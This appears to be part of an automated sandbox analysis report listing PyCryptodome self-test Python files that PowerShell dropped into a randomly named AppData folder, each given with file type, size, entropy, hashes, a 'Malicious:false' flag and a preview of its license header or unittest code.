              Encrypted:false
              SSDEEP:
              MD5:1C79BE11857F948FBB655DC8AA8153D1
              SHA1:15426D7DB44AE38FF61DB9F1F4FB5E3C2B6E126C
              SHA-256:66CC1C34EBBB0775A0EE58206FD09D9CAFE4AC46114112340C0A8DEF95E24E06
              SHA-512:6FF0560839317907DFCD875F77F695C9F6CBD92BC57348FAF1CB46C4CC8A5672096F3F8036E9EA0F533AF1E7B83C05BF1577E0228320E0667B7F85E97C012C77
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Hash/test_SHA512.py: Self-test for the SHA-512 hash function..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Hash\test_SHAKE.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4858
              Entropy (8bit):5.162690426324188
              Encrypted:false
              SSDEEP:
              MD5:844F1200ABC50C8AF04699ED8693094A
              SHA1:60DD5DCFCBC4028DF905E2C18B57DE9AA1A265ED
              SHA-256:B4FAFF54CEC2BD0071EE9DD38A38F446ACDEB81A7216C18F242D0BD8393E21CE
              SHA-512:8157EF05954697F9F1D75269FCFD8445CB82C302ABECAE386194F6071ED780D6F954BF255AB73CE50ECFCF47BDFB112AEBA48947086C86B2619951CC4F3B193D
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Hash\test_TupleHash.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9000
              Entropy (8bit):4.582880901232354
              Encrypted:false
              SSDEEP:
              MD5:0CD739D505C4A5D84BB76784073B1557
              SHA1:CE238370C8D61C1951AF229D6912DC398E4B2261
              SHA-256:996817F0C1FF6BE9642C71B0C64FE8B2B783DF516DFC289C950E7212DB2651E5
              SHA-512:B6273F9B9F342DF9D23BCE216963AE2979A0BC6740BB1458CA39D95A8AE330C1E400DC2CB0CBB864B6D2DA3921FC9F4FAA2090B48F4BBBAAF6CD5BB397230F37
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from binascii import unhexlify, hexlify....from Crypto.Util.py3compat import tobytes..from Crypto.SelfTest.st_common import list_test_cases....from Crypto.Hash import TupleHash128, TupleHash256......class TupleHashTest(unittest.TestCase):.... def new(self, *args, **kwargs):.. return self.TupleHash.new(*args, **kwargs).... def test_new_positive(self):.... h = self.new().. for new_func in self.TupleHash.new, h.new:.... for dbits in range(64, 1024 + 1, 8):.. hobj = new_func(digest_bits=dbits).. self.assertEqual(hobj.digest_size * 8, dbits).... for dbytes in range(8, 128 + 1):.. hobj = new_func(digest_bytes=dbytes).. self.assertEqual(hobj.digest_size, dbytes).... hobj = h.new().. self.assertEqual(hobj.digest_size, self.default_bytes).... def test_new_negative(self):.... h = self.new().. for new_func in self.TupleHash.new, h.new:..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Hash\test_TurboSHAKE.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):15477
              Entropy (8bit):4.797172752964677
              Encrypted:false
              SSDEEP:
              MD5:7416C9644E4F1208364986E5473EA89E
              SHA1:FE5A66E3FC35342C9BB9904FE6DCD87AC7AEC33F
              SHA-256:1AD796B5A7AC7C12AAAECCD151CDF0AB312B28621FD09A047F974F9367A30B7E
              SHA-512:4C67EF2BF5D2E0E22F4098A632AE2C25D7FC778D92535CA9B16C0E3F80173E151CAEDBEBDFFB97A5D540FDA1D2114497346C3EEB9954BD3886D08D22E58D2A36
              Malicious:false
              Reputation:unknown
              Preview:"""Self-test suite for Crypto.Hash.TurboSHAKE128 and TurboSHAKE256"""....import unittest..from binascii import unhexlify....from Crypto.SelfTest.st_common import list_test_cases....from Crypto.Hash import TurboSHAKE128, TurboSHAKE256..from Crypto.Util.py3compat import bchr......class TurboSHAKETest(unittest.TestCase):.... def test_new_positive(self):.... xof1 = self.TurboSHAKE.new().. xof1.update(b'90').... xof2 = self.TurboSHAKE.new(domain=0x1F).. xof2.update(b'90').... xof3 = self.TurboSHAKE.new(data=b'90').... out1 = xof1.read(128).. out2 = xof2.read(128).. out3 = xof3.read(128).... self.assertEqual(out1, out2).. self.assertEqual(out1, out3).... def test_new_domain(self):.. xof1 = self.TurboSHAKE.new(domain=0x1D).. xof2 = self.TurboSHAKE.new(domain=0x20).. self.assertNotEqual(xof1.read(128), xof2.read(128)).... def test_update(self):.. pieces = [bchr(10) * 200, bchr(20) * 300].

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Hash\test_cSHAKE.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6970
              Entropy (8bit):5.194425901690965
              Encrypted:false
              SSDEEP:
              MD5:66C07A7C4501D81AE688CB8D86E1124C
              SHA1:954B46653D497E318F2D997FB6C10048E64A79B6
              SHA-256:ADED756FB81F8601C093433F2A8549D91033C2FDC632F5D0A96E82D65BBCABB3
              SHA-512:9D20AFBDA3E9BE26EB19D23CFD5758D6CFF425C0EBD0F662E0AF3E47A39955943A30161F4A7DC44C6A26B73C04DFA965F00C677E30D80B753052DD9DC01E0740
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,..# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Hash\test_keccak.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9139
              Entropy (8bit):4.901557899833285
              Encrypted:false
              SSDEEP:
              MD5:E6120ECD0AC2994275652761FFC133EF
              SHA1:56AED1B699770BF14C7765D38BE1E11AA6AE4910
              SHA-256:F75F0DDB0190F6B0177DFCD321931AC8BCF9B0A6BF0539B413D719A3E104656E
              SHA-512:544E46E5E4546A31925EE99C8D1DE196F94C90C2FA93105059D2BD95C21D1B67E1E25574B093EA148F713213042528BF32B1660F3942E019FE0D52D5CBDEFAAE
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\IO\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2041
              Entropy (8bit):5.273948297631314
              Encrypted:false
              SSDEEP:
              MD5:82492759411EAD272738749D44872798
              SHA1:27789E533A2E5B1EDE1C5C958711BF87FDA622F0
              SHA-256:E0FEABC0079FD763084043FC5C8BE120E43D75E0D12770E73CAE0781423B2F20
              SHA-512:D6E11BD164B8AECB79457398EEFF26491043F127B3E450E01A0C2B384A8A375944B0846CE806BAB4833FECBB2A766775E19E944C81FB80EAE3337AC28F2C1F6F
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/IO/__init__.py: Self-test for input/output module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. I

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\IO\test_PBES.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4467
              Entropy (8bit):5.082094195261321
              Encrypted:false
              SSDEEP:
              MD5:AB24621790843C9EE84CA887E5B9AF88
              SHA1:FC00589544BE26FFD2AC12AC77AF1515C8DA17C9
              SHA-256:CCC8F12FF8CA42C2FF848798C9BAE1AA606F088B197D51E301515DDF0DF1160C
              SHA-512:1923E379D29A04DFC95C004BB408AFFA8483803D542FB981A8D42AEAC7C3EA2F2F479248DDF24F31026F6B005D068BA28EE52EEA2498BCF06F31311463E80737
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/IO/test_PBES.py: Self-test for the _PBES module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\IO\test_PKCS8.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):19565
              Entropy (8bit):5.2619407746416655
              Encrypted:false
              SSDEEP:
              MD5:475E96AA38DE346D19BD1C7BF9AC5DF7
              SHA1:45892248A0D20358EF2EAF1CC6F84582C119D2D5
              SHA-256:0F02942929784AB768BDAC13A9FF91BAF09E949FE9A4E94B72664F86A71E07EE
              SHA-512:23485DBBF0B3DACE97A810108D456A1062B9449EDED59BADD386A197758336AA75F3F4CE9C0BEA607663B88CBB7991455AC3B8CFE0A2025A3BF5DBCBE82234A7
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/IO/test_PKCS8.py: Self-test for the PKCS8 module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Math\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2253
              Entropy (8bit):5.265534509270815
              Encrypted:false
              SSDEEP:
              MD5:193EF9AAB49C856D4333036CB09C927C
              SHA1:95D64BBE10A2A6631FF0EC434AD42C0F2554A2B6
              SHA-256:73D30940D7505A54B81211BB5BFB364CF389486220F3749A1B3783588AE316C9
              SHA-512:37583CB8A1AC70B2AC4453A7DBDFA384517F376515041F74E2DC3D926BE5AB499099C33414FFD09839A29FD814D372A71CA32CB73D67E79FB11BEFA1BB44DE33
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Math/__init__.py: Self-test for math module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO E

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Math\test_Numbers.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with very long lines (340), with CRLF line terminators
              Category:dropped
              Size (bytes):32598
              Entropy (8bit):4.827746010636288
              Encrypted:false
              SSDEEP:
              MD5:4F0AAC69E3310C34FF9D1CF39EEDF325
              SHA1:A8FB56868AD18382114D035319A69D80CB2A7641
              SHA-256:C99AB636077E7B46B07D83440E3843E907E8838E62DDB5F0E705B5D2A9984749
              SHA-512:3FC3D64D1245E9BC66A0158BFDD0D133F306D0DE6DE274B5719C7EF1958B1DCDF5D6D060E1FC856B25B94ECD63A810C96A7742B854E8594BCFB1B95AED2D7B01
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Math/test_Numbers.py: Self-test for Numbers module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Math\test_Primality.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with very long lines (369), with CRLF line terminators
              Category:dropped
              Size (bytes):4999
              Entropy (8bit):5.3379909826043574
              Encrypted:false
              SSDEEP:
              MD5:24878E5A9765069E457777F362D58556
              SHA1:F6FE995D3D2477A853D94C8FF4BD28B240833FE8
              SHA-256:9E2BA49B922820DFA0AD60532E98747DBBD03796F3DF2B3701B0373D1A254F09
              SHA-512:97B227C53D4CEFB64F47BF67495D757B268CE2AC91C1ECA596CD6072BA5C700DE03AFA915ADE52BBA57D4A8CE3616F38D62B2AE1C29F5FD981FD93109DB4BE3A
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Math/test_Primality.py: Self-test for Primality module..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIM

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Math\test_modexp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with very long lines (526), with CRLF line terminators
              Category:dropped
              Size (bytes):8304
              Entropy (8bit):5.1628761666181795
              Encrypted:false
              SSDEEP:
              MD5:8493CFB3E2E9FCA2CCE57F7E5978CF01
              SHA1:EC340955DD4BB061DB5D2B181E258951DE94F7FB
              SHA-256:0FEA1E2F8E4285DEE62676C7E87D438EF421F948BDB8B412EC453A0D4DECA6D5
              SHA-512:C03FDC899951CBFE93264C618698B4C41D83B8508443E61FFB4AE8CB6B6EE57280192CB6BE7E91A293191727B4B5AB0A77AF0383972D524D13BBEA6BD68D3CCD
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Math/test_modexp.py: Self-test for module exponentiation..#..# ===================================================================..#..# Copyright (c) 2017, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISC

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Math\test_modmult.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with very long lines (535), with CRLF line terminators
              Category:dropped
              Size (bytes):4980
              Entropy (8bit):5.438563739839803
              Encrypted:false
              SSDEEP:
              MD5:6F726584647B71739BBE490252FF0475
              SHA1:B9EFBAFF2529BE4141186CDFF8DDF8F6E5507218
              SHA-256:8B83A8374C7929213AC42BC379DD2E3923B015203BFDAB61EFCC2AE7E8986C6D
              SHA-512:1CC1B2F722ACB1FBA3CC99A4C251223FAE5D766646F79ED30E87EDCD6102F323B302ACC3DD1D5C41CA65D0E6D7E12839C65580E4C931EF44F2A9D7CA829742F8
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Math/test_modmult.py: Self-test for custom modular multiplication..#..# ===================================================================..#..# Copyright (c) 2023, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Protocol\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1880
              Entropy (8bit):5.2502959979894195
              Encrypted:false
              SSDEEP:
              MD5:9BAF5A68FE8F27D1DC5E3835B09AE251
              SHA1:7A4C6CB96061378BC70FB165D80464951AD14B5F
              SHA-256:8883ABB95F9BCC3D39B2A7707045D20EA66ACF1BB4DC7924C7676A44EDC066AF
              SHA-512:AD37A7836EA7A6DC0D97144E1A721E5C1618E6D4F91010D9D3F48B7B651037E0CF90982A6C15A1E702EC7E9F7B825E5ABD0FD3D5CF047ED840DD5709C84520A3
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Protocol/__init__.py: Self-tests for Crypto.Protocol..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Protocol\test_KDF.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):37587
              Entropy (8bit):5.3282002804951665
              Encrypted:false
              SSDEEP:
              MD5:ECE27576B17C7C6FF58D4DEA555F7D00
              SHA1:721307F971B9ADE39A4B972121E537A420F9086E
              SHA-256:22B5EBC0BFD82BA5D7D3294C0701794D875A69F40624CA7E2FB37A87970D1139
              SHA-512:206BF6F8A39BD3A06CFAE4D1DC7AFF6907D536FDD904661A3BC958CF6114F09A0D9C06C66A4FCC0F254B5A2494D831E4CE8E850FACE76D098A39885A390FDBC3
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# SelfTest/Protocol/test_KDF.py: Self-test for key derivation functions..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..#

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Protocol\test_SecretSharing.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9952
              Entropy (8bit):5.092380043305687
              Encrypted:false
              SSDEEP:
              MD5:E47ACE891AB98689B03CD52457E9D952
              SHA1:186FD91CCD5C3E2609FCA91E6F852D675760FA68
              SHA-256:01F48396E41FB1F1B0BEC975521517247AB2FC7E25FB108064BCD6288EDBCE66
              SHA-512:1765BD953CE9C8F14AF1D81053A57C07EA2A79BD9FAF012DB417158C115950B3DD135CA542A6826AAD2868C46E72F62839AF87649154CFCA7264B242D24FCD09
              Malicious:false
              Reputation:unknown
              Preview:#..# SelfTest/Protocol/test_secret_sharing.py: Self-test for secret sharing protocols..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PUR

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\SelfTest\Protocol\test_ecdh.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):10784
              Entropy (8bit):4.78981017921065
              Encrypted:false
              SSDEEP:
              MD5:482A7F06CA1AC5495FA66573F87A325F
              SHA1:529DD31BFACC857B86262C417A7C958EA4A886D0
              SHA-256:6019F99443B9F1234CCE6E24E6E3DD99547D932AEB5251E7FB604ACCC48CBE1F
              SHA-512:A3B25168AB10C9A6B207BC32E9D6F36C3F783D32EBEDE156654F649298628942D3B89BC4D3E82A10654D75B8397642808192630382658303F6CE0473925CE3B1
              Malicious:false
              Reputation:unknown
